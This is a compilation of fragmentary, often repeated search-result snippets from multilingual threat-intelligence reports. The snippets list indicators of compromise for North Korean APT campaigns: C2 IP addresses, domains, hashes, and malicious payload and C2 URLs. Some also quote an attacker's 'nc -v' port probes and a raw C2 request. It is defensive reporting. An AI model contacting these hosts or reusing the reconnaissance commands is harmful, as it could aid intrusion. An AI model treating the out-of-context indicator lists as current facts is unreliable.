163.29.3.119 25 nc -v 163.29.149.131 25 The focus on port…","….lol temuco.xyz cafe24.pro sig.quest plutg.shop dorray.site osihi.store nzzstore.site handhygieneforhealth.org petssecondchance.larcity.dev 210.92.18.162 158.247.223.235 152.32.243.136 이 글 공유하기 Facebook LinkedIn…","…104.194.152.251 yoiroyse.store pumaria.store 27.255.81.118 212.224.107.244 27.255.80.162 nmailhostserver.store 210.92.18.169 91.194.161.109 nsonlines.store Share this post Related…","…45.95.11.52 104.194.152.251 yoiroyse.store pumaria.store 27.255.81.118 212.224.107.244 27.255.80.162 nmailhostserver.store 210.92.18.169 91.194.161.109 nsonlines.store","…- naver.midsecurity.org - daum.midsecurity.org - 211.104.160.79 (KR) [그림 2] 다양한 주소로 구축돼 있던 피싱 웹 페이지 화면 위협 행위자는 이외에도 실수를 더 하였는데, 바로 공격자의 서버 내부 구조가 일정 기간 외부에 노출되도록 설정을 잘못 한 것입니다.…","…- servicenidnaver.com - 27.255.77.110 (KR) - 27.255.79.205 (KR) - 211.104.160.84 (KR) - 211.104.160.88 (KR) [그림 4] 대북분야 관계자에게 시도된 해킹 이메일 화면 ◇ 탈륨(Thallium) 조직과 동일한 서버 인프라를 공유하는 코니(Konni) 해킹 공격 캠페인은…","…- servicenidnaver.com - 27.255.77.110 (KR) - 27.255.79.205 (KR) - 211.104.160.84 (KR) - 211.104.160.88 (KR) [그림 4] 대북분야 관계자에게 시도된 해킹 이메일 화면 ◇ 탈륨(Thallium) 조직과 동일한 서버 인프라를 공유하는 코니(Konni) 해킹 공격 캠페인은 일정시간 동안 이루어져, 공격자는 피해자의…","…https://strivemktsupporters.com 3.39.208.187 222.118.225.33 211.110.1.17 20.194.29.89 119.207.79.175 61.100.5.186 110.10.189.167 14.63.165.32 211.110.1.93 182.252.138.31 114.207.112.19 1.249.169.5…","…ivemktsupporters.com 3.39.208.187 222.118.225.33 211.110.1.17 20.194.29.89 119.207.79.175 61.100.5.186 110.10.189.167 14.63.165.32 211.110.1.93 182.252.138.31 114.207.112.19 1.249.169.5 연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.…","…139.196.55.146 14.139.200.107 173.0.138.250 175.100.189.174 181.119.19.100 197.211.212.31 199.180.148.134 211.115.205.41 217.117.4.110 61.106.2.96 98.101.211.250 Domains www.radioapp.co.kr Filenames JAVAC.EXE jquery50.js…","…kbcwainwrightchallenge.org.uk 217.69.41.33 djasw.or.kr 114.207.112.202 americanhotboats.com 54.39.64.114 shinwonbook.co.kr 211.115.65.71 server2.urgentfury.net 51.79.44.111 s17643226.onlinehome-server.info 212.227.91.36 jikyung.co.kr 211.202.2.195…","…(Kimsuky xRAT C2) 121.160.252.1 (Kimsuky xRAT C2) 47.103.206.233 (FlowerPower C2) 169.254.100.95 (Kimsuky xRAT C2) 211.115.73.132 (Kimsuky xRAT C2) xn -- lg3b741c.xn -- h32bi4v.xn -- 3e0b707e (Heungmin.Main.Korea) oivs.xn -- 2i0b10rqve.xn -- 3e0b707e…","…(from decoded powershell script) 211.115.92.200 VB script : Microsoft.vbs hashes: MD5 72e5b8ea33aeb083631d1e8b302e76af SHA1: 8879de48468dd650152cb3aa150349db69ec33c4 SHA256:…","…(EngineDll.dll) 2057c0cf4617eab7c91b99975dfb1e259609c4fa512e9e08a311a9a2eb65a6cf (EngineDll.dll) IPs (1) 211.192.239.232 Findings 106d915db61436b1a686b86980d4af16227776fc2048f2888995326db0541438 Tags trojan Details Name Narrator.exe Size…","…マルウェア 配布元 www.simdisk.co.kr/app/simdisk_setup.exe www.songsari.com 通信先 No.1 www.habang.co.kr/images/korea/c.jpg(or d.Jpg)（211.196.153.24） No.2 Torで接続するサーバー(詳細不明) No.3 webmail.genesyshost.com/mail/ (2) Wiper マルウェア 配布元 N/A 通信先 No.1 112.217.190.…","…Received: from [127.0.1.1] (unknown [211.197.11.18]) (Authenticated sender: webadmin@smellisgood.top) by nl-srv-smtpout1.hostinger.io ([Hostinger Mail System]) with ESMTPSA id 또한,…","…211.115.65.71 server2.urgentfury.net 51.79.44.111 s17643226.onlinehome-server.info 212.227.91.36 jikyung.co.kr 211.202.2.195 hansung-cc.co.kr 115.23.252.233 au-pair.org 212.227.91.36 fabianiarte.com 51.68.119.230 scimpex.com 103.227.176.20…","…& Monitoring C&C § C&C-Tracking/Monitoring (18.07.13., D+52) § HanyangUpload_script.dll – GetName § 3) C&C : www.military . co.kr (211.202.2.51, KR ) 62 /155 Tracking Malware & Monitoring C&C § C&C-Tracking/Monitoring (18.07.13., D+52) § HanyangUpload_script.dll – GetName § 3) C&C…","…http://price365.co.kr/abbi/json/openssl.php?igot=1 (211.218.126.205) [그림 10] 한국 소재 웹 서버에 등록된 악성 바이너리 화면 ■ '라자루스'로 변장한 치밀하게 의도된 '이미테이션 게임' APT 공격 조직을 특정하기 위한 일련의 조사과정에는 공격벡터부터 위협대상, 전술기법, 악성파일과…","…10월 01일 보고된 악성 HWP 문서는 특정 탈북민의 운세 정보를 담고 있었습니다. 이 공격에서는 다음과 같은 C2가 사용되었습니다. - youngs.dgweb.kr/skin15/include/bin/forlab.php - 211.218.126.236/ct/data/icon/files/goal.php?miracles=1 - 211.218.126.236/ct/data/icon/files/pool.tar -…","…network reconnaissance: ping 192.168.150.118 ping 192.168.20.118 nc -v swi-nwv2.ad.plc.ned.org 443 nc -v 210.71.195.10 25 nc -v 211.23.123.246 25 nc -v 59.125.159.81 25 ping mail.h805.mn nc -v 163.29.3.119 25 nc -v 163.29.149.131 25 The focus on port 25 (SMTP) suggests email…","…C2 IPv4 Addresses 103.224.82.154 180.67.205.101 182.70.113.138 193.189.144.145 199.26.11.17 209.105.242.64 211.233.13.11 211.233.13.62 211.236.42.52 211.49.171.243 218.103.37.22 221.138.17.152 221.161.82.208 23.115.75.188 61.100.180.9 61.78.63.95 80.…","…- 211.233.13.62 (KR) - 221.138.17.152 (KR) [그림 15] 국방 분야 사이버 공격에서 확인된 악성파일의 명령제어 화면 동일한 C2 IP 주소를 사용한 이 악성파일들은 2009년 7.7…","…C2 IPv4 Addresses 103.224.82.154 180.67.205.101 182.70.113.138 193.189.144.145 199.26.11.17 209.105.242.64 211.233.13.11 211.233.13.62 211.236.42.52 211.49.171.243 218.103.37.22 221.138.17.152 221.161.82.208 23.115.75.188 61.100.180.9 61.78.63.95 80.153.49.82…","…Addresses 103.224.82.154 180.67.205.101 182.70.113.138 193.189.144.145 199.26.11.17 209.105.242.64 211.233.13.11 211.233.13.62 211.236.42.52 211.49.171.243 218.103.37.22 221.138.17.152 221.161.82.208 23.115.75.188 61.100.180.9 61.78.63.95 80.153.49.82 Ignite ’17…","…211.239.117.117 1980food.co.kr Hostway IDC 2025‑03‑07 Compromised South Korean site used to host Android BirdCall configuration.…","…of Compromise (IOCs) DNS Queries & HTTP Requests The malware made several DNS queries, including requests to www.addfriend.kr (IP: 211.239.117.117). Other domains contacted were mostly Microsoft services for system updates and certificate validation. C2 Communication & Exfiltration…","…C2 crwellfood.com daehoat.com fe01.co.kr novel21.co.kr webhostingkorea.com 121.254.222.10 121.254.222.80 211.239.157.126 218.150.78.198 218.150.78.231 61.100.9.206 이 글 공유하기…","…103.224.82.154 180.67.205.101 182.70.113.138 193.189.144.145 199.26.11.17 209.105.242.64 211.233.13.11 211.233.13.62 211.236.42.52 211.49.171.243 218.103.37.22 221.138.17.152 221.161.82.208 23.115.75.188 61.100.180.9 61.78.63.95 80.153.49.82 Ignite ’17 Security Conference:…","…이 과정에 사용된 패스워드 문자열은 다음과 같습니다. xPabyrwTaOczVwegVMgzmEpq [그림 6-3] sqlite3.au3 디코딩 과정 분석 결과, QuasarRAT은 네덜란드 소재의 212.118.52.168 C2 서버와 통신을 시도하며, 후속 명령 수신을 위해 지속적으로 연결을 유지하는 동작을 합니다.…","…(704d491c155aad996f16377a35732c...) IPs (3) 100.43.153.60 104.194.160.59 212.143.21.43 Findings e23900b00ffd67cd8dfa3283d9ced691566df6d63d1d46c95b22569b49011f09 Tags trojan Details Name…","…212.143.21.43 Ports 443 TCP Whois netnum: 212.143.21.0 - 212.143.21.63 netname: Nana10-LAN descr: Nana10-LAN country: IL admin-c: NV6695-RIPE tech-c: NV6695-RIPE status: ASSIGNED PA mnt-by: NV-MNT-RIPE created:…","…80.71.157.55 84.247.179.77 45.87.153.79 45.95.11.52 104.194.152.251 yoiroyse.store pumaria.store 27.255.81.118 212.224.107.244 27.255.80.162 nmailhostserver.store 210.92.18.169 91.194.161.109 nsonlines.store Share this post…","…95.164.86.148 80.71.157.55 84.247.179.77 45.87.153.79 45.95.11.52 104.194.152.251 yoiroyse.store pumaria.store 27.255.81.118 212.224.107.244 27.255.80.162 nmailhostserver.store 210.92.18.169 91.194.161.109 nsonlines.store","…54.39.64.114 shinwonbook.co.kr 211.115.65.71 server2.urgentfury.net 51.79.44.111 s17643226.onlinehome-server.info 212.227.91.36 jikyung.co.kr 211.202.2.195 hansung-cc.co.kr 115.23.252.233 au-pair.org 212.227.91.36 fabianiarte.com 51.68.119.230…","…191.96.180.52 191.96.180.54 191.96.180.77 194.32.120.58 194.32.120.76 194.5.48.68 194.5.48.71 194.5.53.248 194.5.83.4 212.30.37.180 212.30.37.214 212.30.37.30 S/2024/215 24-02094 568 / 615 Annex 98: Kimsuky email addresses, websites and virtual…","…191.96.180.54 191.96.180.77 194.32.120.58 194.32.120.76 194.5.48.68 194.5.48.71 194.5.53.248 194.5.83.4 212.30.37.180 212.30.37.214 212.30.37.30 S/2024/215 24-02094 568 / 615 Annex 98: Kimsuky email addresses, websites and virtual currency…","…191.96.180.77 194.32.120.58 194.32.120.76 194.5.48.68 194.5.48.71 194.5.53.248 194.5.83.4 212.30.37.180 212.30.37.214 212.30.37.30 S/2024/215 24-02094 568 / 615 Annex 98: Kimsuky email addresses, websites and virtual currency addresses released by…","…ネットワー クワイ パー (760C35A80D758F032D02CF4DB12D3E55) 200.87.126.116:8000 ボリビア N/A 58.185.154.99:8000 シンガポール N/A 212.31.102.100:8080 キプロス N/A 208.105.…","…Indicators of compromise: Malicious IPs and hostnames: 212.7.217.10 reg.flnet.org webconncheck.myfw.us…","…(TCP) 2.22.5.73:443 (TCP) 2.23.161.155:443 (TCP) 2.23.161.155:80 (TCP) 209.140.135(.0)138:443 (TCP) 209.140.135.138:80 (TCP) 212.82.100.137:443 (TCP) 212.82.100.137:80 (TCP) 52.142.124.215:443 (TCP) 8.247.209.254:80 (TCP) 82.145.216.20:443 (TCP) 82.145.216.20:80…","…current campaign. No. url IP 1 aptiscore.com 212.85.29.40 2 easyhiringtool.com 212.85.29.149 3 fireblocksinsight.com 51.210.235.42 4 assessmentbay.com 46.202.196.24 5…","…operational use approximately four months before the current campaign. No. url IP 1 aptiscore.com 212.85.29.40 2 easyhiringtool.com 212.85.29.149 3 fireblocksinsight.com 51.210.235.42 4…","…Other domains in the certificates also appear in the public reports: 213.111.146.132 — its certificate contains commsouthindia.com , which LayerZero lists as ROOFDECK C2.…","…the certificates may have been created together at the same time. A separate lead on port 10443 Another endpoint in the group is 213.111.148.202:10443 .…","…C2s: 85.137.56.245 — grenight.com 45.11.59.140 — storage.hubpage.cloud Searching for the same certificate issuer found 213.111.148.242 .…","…IP 174.138.186.157 213.145.86.223 Tags: APT AutoIT backdoor Brandoor CAB Decoy DLLSideLoading EndRAT 미끼문서 바로가기 디코이 HTA…","…IP 174.138.186.157 213.145.86.223 Tags: APT AutoIT backdoor Brandoor CAB Decoy DLLSideLoading EndRAT 미끼문서 바로가기 디코이 HTA HWP 한글문서 JSE Keylogger LNK mshta Nightello…","…IP 174.138.186.157 213.145.86.223 77.246.101.72 Tags: APT AutoIT backdoor CAB Decoy Endoor EndRAT 미끼문서 바로가기 디코이 HTA HWP…","…IP 159.100.13.216 213.145.86.223 216.219.87.41 64.20.59.148 Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For…","…naverwork.o-r.kr image.secuwizvpn.r-e.kr load.rwbcode.com rwbcode.com 174.138.186.157:5511 174.138.186.157:7788 174.138.186.157:9558 213.145.86.223:9005 111.92.189.34:21 142.11.248.98 162.220.11.202 ydcxcm.pklzd.com quemr.mailhubsec.com link24.kr www.link24.kr vvopen.pklzd.com…","…3 40.121.90.194 185.29.8.162 146.4.21.94 46.183.221.109 84.38.133.145 109.248.150.13 155.94.210.11 192.186.183.133 54.68.42.4 84.38.133.145 213.180.180.154 URLS http[://]104.155.149.103/2-443.ps1 http[://]104.155.149.103/8080.ps1 http[://]104.155.149.103/mi64.tmp http[://]104.155.149.103/mi.t…","…服务器通信。YamaBot发送的第一个 HTTP 开机自检请求如下。这是一个 HTTP 开机自检请求，但没有要发送的数据，其用户代理是 Base64 编码的。 POST /editor/session/aaa000/support.php HTTP/1.1 Host: 213.180.180.154 User-Agent:…","…185.29.8.162 146.4.21.94 46.183.221.109 84.38.133.145 109.248.150.13 155.94.210.11 192.186.183.133 54.68.42.4 84.38.133.145 213.180.180.154 URLS http[://]104.155.149.103/2-443.ps1 http[://]104.155.149.103/8080.ps1 http[://]104.155.149.103/mi64.tmp…","…' 오퍼레이션 블루 에스티메이트 Part3 (Operation Blue Estimate Part3)'에서는 'Hero.dll', 'HelloSidney' 등이 동일한 공통점이 있지만, PDB가 제거되었고 C2는 ' mernberinfo.tech (213.190.6.159)' 주소로 변경되었습니다.…","…92.249.44.201, 213.190.6.57 IP 주소가 사용되고 있으며, 도메인 등록자 이메일 주소는 ' parksonghui1910@ gmail.com' 입니다.…","…131.226.2.43 Anglerstatic.com C2 IP Address 23.236.169.233 goingladies.com C2 IP Address 51.38.145.49:443 Attacker IP IP Address 213.252.232.171:443 Attacker IP IP Address 131.226.2.120:443 Attacker IP IP Address 37.120.247.180:443 Attacker IP IP Address 88.119.175.208:443…","…185.194.178.88 45.86.202.224 SlowMist malicious domain and IP list gossipsnare.com , 51.38.145.49:443 showmanroast.com , 213.252.232.171:443 getstockprice.info , 131.226.2.120:443 eclairdomain.com , 37.120.247.180:443 replaydreary.com , 88.119.175.208:443…","…the key IOCs and TTPs of the attack. Attacker Information Attacker Domains: gossipsnare.com, 51.38.145.49:443 showmanroast.com, 213.252.232.171:443 getstockprice.info, 131.226.2.120:443 eclairdomain.com, 37.120.247.180:443 replaydreary.com,…","…144.172.115.16 16.115.172.144.static.cloudzy.com 144.172.117.143 143.117.172.144.static.cloudzy.com 172.86.89.213 213.89.86.172.static.cloudzy.com 172.86.91.195 195.91.86.172.static.cloudzy.com 45.61.163.100 100.163.61.45.static.cloudzy.com 45.61.163.113…","…There’s an entry for a North Korean domain but the second entry is titled 626MailServer and has the server set to the IP address 214.6.26.30 which is owned by the Department of Defense.…","…been associated with BlueNoroff-associated domains within the last 6 months: IPs Copy 104.168.143.111 147.79.103.251 216.107.137.53 23.254.164.232 23.254.204.184 23.254.244.248 23.254.247.32 23.254.247.53 38.110.228.112 38.146.28.252 45.42.40.200 45.42.40.208 5.230.251.4…","…IP 103.5.144.26 159.100.13.216 206.206.127.152 216.107.137.73 64.49.14.181 Tags: AsyncRAT InfoStealer Keylogger Kimsuky lnk PebbleDash proxy…","…24 CSO_20240524.xlsx.lnk 216.107.137.73 [US] b1504090e9a70ae80190302e524589f2 06.…","…Snap2Html 75448c81d54acb16dd8f5c14e3d4713b3228858e07e437875fbea9b13f431437 Fast Reverse Proxy 216.120.201.112:443 Command-and-control server 51.81.168.157:443 Command-and-control server 217.195.153.209 IP address used by Plink…","…further expands thanks to the findings and blog from Phylum in late June . npmjscloud.com npmcloudjs.com nodepkg.com dadiwarm.com 216.189.145.247 npmjsregister.com 142.44.178.222 tradingprice.net bi2price.com Trivial pivots from here can be made to similar behaving…","…读取PMS*文件信息 溯源与关联 奇安信威胁情报中心分析人员通过对此次捕获样本所带的恶意代码、释放的木马文件进行分析后，判断本次攻击活动的幕后黑手为Kimsuky。 此前Kimsuky组织使用的C&C地址所对应的IP地址与此次木马使用的IP地址相同，同为216.189.149.78。 总结 目前，基于奇安信威胁情报中心的威胁情报数据的全线产品，包括威胁情报平台（TIP）、天眼高级威胁检测系统、NGSOC、奇安信态势感知等，都已经支持对此APT攻击团伙攻击活动的精准检测。 IOCs MD5…","…(UnionCryptoSetup.exe) Domains (1) unioncrypto.vip IPs (1) 216.189.150.185 Findings e3623c2440b692f6b557a862719dc95f41d2e9ad7b560e837d3b59bfe4b8b774 Tags trojan Details Name UnionCryptoSetup.exe…","…Domain globalkeystroke.com Domain woodmate.it Domain dorusio.com Domain ants2whale.com Domain qnalytica.com Domain 216.189.150.185 IP 23.152.0.101 IP 45.147.231.77 IP About the Author Threat Hunter Team Symantec and Carbon Black The Threat Hunter Team…","…ESRC 분석 결과, 이번에 탐지된 위협들은 거의 동일한 악성 패턴을 보이고 있으며, 동일한 미국 소재 아이피( 216.189.154.6) 주소와 악성 명령을 주고받는 것이 확인되었으며, 이는 동일 조직이 공격방식의 다변화를 통하여 효과적인 공격방식을 찾고 있는 것으로 추측되고 있습니다.…","…Player NSS\\3.0\\Servers\\D8B548F0-E306-4B2B-BD82-25DAC3208786\\FriendlyName HTTP 요청 http://qwert.mine.bz/index.php IP 트래픽 216.189.154.6:80(TCP) 그리고 악성코드은 다음 동작을 합니다.…","…(Windows NT 10.x; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chremo/87.0.4280.141 Safari/537.36 Edgo/87.0.664.75 双扩展名VBS样本 根据216.189.154.6这个IP，我们发现了一个使用双扩展名进行伪装的VBS样本，基本信息如下： 文件名 SW보안점검표(개발자사전점검용)_v2.0_beta.xlsm .vbs （译为“SW 安全检查表（用于开发人员预检查）”） MD5…","…actor calls themselves Thallium. Here are some of IPs and domains used by the actor for C2 communications: 210.16.120.34 216.189.157.89 45.58.55.73 45.13.135.103 27.102.114.89 210.16.121.137 58.229.208.146 27.102.107.63 download.riseknite.life onedrive-upload.ikpoo.cf…","…tem.co.kr/admin/mail/index.php ai.kostin.p-e.kr ar.kostin.p-e.kr ai.negapa.p-e.kr ol.negapa.p-e.kr ai.limsjo.p-e.kr qi.limsjo.p-e.kr 216.189.159.197 Kimsuky Troll Stealer Gpki -- -- Follow Written by…","…tem.co.kr/admin/mail/index.php ai.kostin.p-e.kr ar.kostin.p-e.kr ai.negapa.p-e.kr ol.negapa.p-e.kr ai.limsjo.p-e.kr qi.limsjo.p-e.kr 216.189.159.197 Troll Stealer North Korea Kimsuky Gobear -- --…","…Ports 8080 TCP Whois Queried whois.arin.net with \"n 216.189.150.185\"... NetRange: 216.189.144.0 - 216.189.159.255 CIDR: 216.189.144.0/20 NetName: HOSTUS-IPV4-3 NetHandle: NET-216-189-144-0-1 Parent: NET216 (NET-216-0-0-0-0) NetType: Direct…","…C&C 주소: http://216.189.159.34/mir/index.php C&C와의 POST 통신에서 Body로 'Param'='Value'쌍의 쿼리 데이터를 전달하며 그 형식은 [표 1]과 같다.…","…36) - app.veryton.ml (216.189.159.36) Domain Name: KAIST-AC.XYZ Registrar URL: https://porkbun.com Updated Date: 2020-11-10T19:11:40.0Z Creation Date:…","…43 172.81.132.41:443 172.93.184.62:443 172.93.201.219:443 185.62.58.207:443 192.210.239.122:443 198.180.198.6:443 209.90.234.34:443 216.244.71.233:443 23.227.199.53:443 23.227.199.69:443 23.254.119.12:443 67.43.239.146:443 68.168.123.86:443 Malware…","…뮤텍스 이름과 C&C 서버 주소는 아래와 같다. 뮤텍스 이름: Dansweit_Hk65 C&C 서버 주소: 216.244.74.115:80 caption - dnspy로 확인한 hole_311 리포지토리 악성코드 구조 3.2.…","…text with an XOR cipher keyed to 01042025. Associated indicators of compromise include: Domain : npmjs.store IP address : 216.74.123.126 NPM package : typo-crypto (SHA256: 24604384b0e748ada07923630b3d037489e696284a98c4409fb9b6763565571f) Trojanized file : core.js…","…206.206.123.55 2 bzupdater.zip 3,816,112 fc7315b6b74aa43ab24965f3648f01a6 version.dl Quasar RAT 216.74.123.97 3 bzupdater.zip 3,757,536 8fb97b701da7e49e6a78717f0179dd68 - - [표 5] 'bzupdater.zip' 파일 정보…","…128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125 97.90.44.200 ARTFULPIE…","…(described below) 14.139.200.107 197.211.212.31 199.180.148.134 110.45.145.103 217.117.4.110 61.106.2.96 175.100.189.174 153db613853fb42357acb91b393d853e2e5fe98b7af5d44ab25131c04af3b0d6 ELF ARM file likely of the same…","…5.130.173 119.29.11.203 124.248.228.30 139.196.55.146 14.139.200.107 175.100.189.174 181.119.19.100 197.211.212.31 199.180.148.134 217.117.4.110 61.106.2.96 Introducing McAfee+ Identity theft protection and privacy for your digital life Download McAfee+…","….200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125 97.90.44.200 Fin…","…Fast Reverse Proxy 216.120.201.112:443 Command-and-control server 51.81.168.157:443 Command-and-control server 217.195.153.209 IP address used by Plink 172.96.137.224 IP address used by Plink 144.208.127.115 IP address used by Plink Certificate 1…","…er.pl/ksiki/ksiki-dla-dzieci wincenty-faber.pl/dla-dzieci escolarainhadleonor.eu/aee/ wincenty-faber.pl/dla-dzieci/publikowane-w-ksikach/90 217.219.131.139/db.php chromatogramma.ru/book/export/html/3 aprendizajevirtual.une.net.co/lang/language.php This approach, again, may need fine-tuning…","…poisoning BLOCK / MONITOR 16 144.91.70.51 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 17 217.60.196.124 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 18 151.253.243.219 PHP web shell tooling / upload…","…operator rotates every 2-4 weeks and occasionally runs two IPs simultaneously during transitions. IP Active Period Status Notes 217.69.11.60 2025-11-27 Offline Campaign launch 45.32.151.157 2025-12-06 -- 2026-01-12 Offline Longest-lived node (37 days) 217.69.11.57…","…ktri.or.kr 110.10.189.166 ilhak.co.kr 1.251.44.118 polyboatowners.com 101.0.115.80 kbcwainwrightchallenge.org.uk 217.69.41.33 djasw.or.kr 114.207.112.202 americanhotboats.com 54.39.64.114 shinwonbook.co.kr 211.115.65.71 server2.urgentfury.net…","…IPアドレス 国 関連する マルウェア 203.131.222.102:8080 タイ ネットワー クワイ パー (760C35A80D758F032D02CF4DB12D3E55) 217.96.33.164:8000 ポーランド ネットワー クワイ パー (760C35A80D758F032D02CF4DB12D3E55) 88.53.215.64:8000 イタリア ネットワー クワイ…","…180.67.205.101 182.70.113.138 193.189.144.145 199.26.11.17 209.105.242.64 211.233.13.11 211.233.13.62 211.236.42.52 211.49.171.243 218.103.37.22 221.138.17.152 221.161.82.208 23.115.75.188 61.100.180.9 61.78.63.95 80.153.49.82 Ignite ’17 Security Conference: Vancouver, BC…","…August 2013 Table 1: Historic passive DNS data of hardcoded OnionDog C&C IP addresses IP1 Domain IP1 IP2 Domain IP2 218.145.131.130 None 220.85.160.3 dril113.ncsc.go.kr 218.153.172.53 None 221.149.223.209 korea.kr.ncsc.go.kr Table 2: Two pairs of…","…c.com dddon.kr iso3488.co.kr regard.co.kr aymdtt.co.kr gbionet.com strehab.com well-story.co.kr vwellpain.com 165.154.230.24 122.155.191.33 218.150.78.197 183.111.141.93 이 글 공유하기 Facebook LinkedIn Email…","…daehoat.com fe01.co.kr novel21.co.kr webhostingkorea.com 121.254.222.10 121.254.222.80 211.239.157.126 218.150.78.198 218.150.78.231 61.100.9.206 이 글 공유하기 Facebook…","…fe01.co.kr novel21.co.kr webhostingkorea.com 121.254.222.10 121.254.222.80 211.239.157.126 218.150.78.198 218.150.78.231 61.100.9.206 이 글 공유하기 Facebook LinkedIn Email…","…OnionDog C&C IP addresses IP1 Domain IP1 IP2 Domain IP2 218.145.131.130 None 220.85.160.3 dril113.ncsc.go.kr 218.153.172.53 None 221.149.223.209 korea.kr.ncsc.go.kr Table 2: Two pairs of OnionDog C&C IP addresses with the same HTTP response in July…","…between known C2s Domain IP xor Key (Real C2) CC First Seen Last Seen Resolved IP (C2 disguise) exbonus.mrbasic.com 218.224.125.66 JP 2017-01-29 2017-02-06 129.221.254.13 exbonus.mrbasic.com 82.144.131.5 CZ 2017-02-06 2017-02-06 9.173.0.74…","…The interesting thing is that it came with a default config in place that is designed to connect back to 218.25.43.212 on port 8888 Pulling some additional details for that IP reveals an abuse contact email of postmaster@silibank.com[email protected]…","…137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125 97.90.44.200 ARTFULPIE SHA-256:…","…37.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125 97.90.44.200 Findings 05feed9…","…These include 23.95.213.210 (a known VPS provider used in past credential-stuffing campaigns), 218.92.0.210 (allocated to a Chinese ISP), and 122.114.233.77 (Henan Mobile, China).…","…176.35.250.93 64.86.34.24 58.6.21.11 114.215.107.218 118.140.97.6 190.216.219.247 201.26.209.137 14.161.14.196 220.132.191.110 92.42.54.184 182.180.143.39 193.251.27.90 (NOTE: These are just some of the collected IoCs that have been confirmed.…","…2011 112.169.154.65 cyber.ncsc.go.kr June 2011—August 2011 221.149.32.213 drill12.ncsc.go.kr July 2012—August 2012 220.85.160.3 dril113.ncsc.go.kr August 2013 222.107.13.113 drill12.ncsc.go.kr August 2013 Table 1: Historic passive DNS data of…","…- 211.233.13.62 (KR) - 221.138.17.152 (KR) [그림 15] 국방 분야 사이버 공격에서 확인된 악성파일의 명령제어 화면 동일한 C2 IP 주소를 사용한 이 악성파일들은 2009년 7.7 DDoS 공격 때부터 이어진 명령조합코드…","…14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125 97.90.44.200 ARTFULPIE SHA-256:…","…182.70.113.138 193.189.144.145 199.26.11.17 209.105.242.64 211.233.13.11 211.233.13.62 211.236.42.52 211.49.171.243 218.103.37.22 221.138.17.152 221.161.82.208 23.115.75.188 61.100.180.9 61.78.63.95 80.153.49.82 Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017…","…14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125 97.90.44.200 Findings 05feed9762bc46b47a7dc5c…","…221.143.43.214 www.lawwell.co.kr SK Broadband Co Ltd 2024‑11‑04 Compromised South Korean site used to host shellcode and clean mono library.…","…We looked up historical domain resolutions of these eight IP addresses and found these: IP Domain Active 221.149.223.209 korea.kr.ncsc.go.kr June 2011—August 2011 112.169.154.65 cyber.ncsc.go.kr June 2011—August 2011 221.149.32.213…","…Active 221.149.223.209 korea.kr.ncsc.go.kr June 2011—August 2011 112.169.154.65 cyber.ncsc.go.kr June 2011—August 2011 221.149.32.213 drill12.ncsc.go.kr July 2012—August 2012 220.85.160.3 dril113.ncsc.go.kr August 2013 222.107.13.113 drill12.ncsc.go.kr…","…193.189.144.145 199.26.11.17 209.105.242.64 211.233.13.11 211.233.13.62 211.236.42.52 211.49.171.243 218.103.37.22 221.138.17.152 221.161.82.208 23.115.75.188 61.100.180.9 61.78.63.95 80.153.49.82 Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017 Ignite ’17…","…This implant communicates to a South Korean IP address 221.164.168.185 which resolves to palgong-cc.co.kr. McAfee ATR analysis finds the dropped implants have never been seen before in the wild and have not…","…해당 공격은 당시 '외교안보연구소(ifans.go.kr)'에서 공식적으로 발송된 것처럼 위장되어 있었지만, 실제 발신자 아이피 주소(221.9.247.17)는 중국 지린성의 장춘시 입니다.…","…June 2011—August 2011 221.149.32.213 drill12.ncsc.go.kr July 2012—August 2012 220.85.160.3 dril113.ncsc.go.kr August 2013 222.107.13.113 drill12.ncsc.go.kr August 2013 Table 1: Historic passive DNS data of hardcoded OnionDog C&C IP addresses IP1 Domain IP1…","…Figure 1: Attack flow Spear phishing emails distribution During our analysis, we discovered that at least one of the IP addresses (222.112.127.9) used by the threat actor to log in to the attacker-controlled Dropbox accounts was also used to send spear phishing emails to the victims…","…https://strivemktsupporters.com 3.39.208.187 222.118.225.33 211.110.1.17 20.194.29.89 119.207.79.175 61.100.5.186 110.10.189.167 14.63.165.32 211.110.1.93 182.252.138.31 114.207.112.19 1.24…","…172.67.158.166 104.21.14.107 nid.naverify.com 172.67.178.31 104.21.51.95 merryear.com 124.5.163.170 (KR-DLIVE) 222.122.195.67 (KR-KT) 172.67.208.102 104.21.34.210 glaed-hotel.com 49.1.238.247 (KR-DLIVE) 172.67.177.152 104.21.43.94 campaign2-nid.com…","…RAT – f8b329fc1f4d50f5509a72c1f630155538f4d2c6e49b80ce4841fada6547c4bd C&Cs 182.56.5.227 222.122.31.115 66.99.86.8 210.61.8.12 62.215.99.90 Jay Rosenberg Building Your Bullet Proof 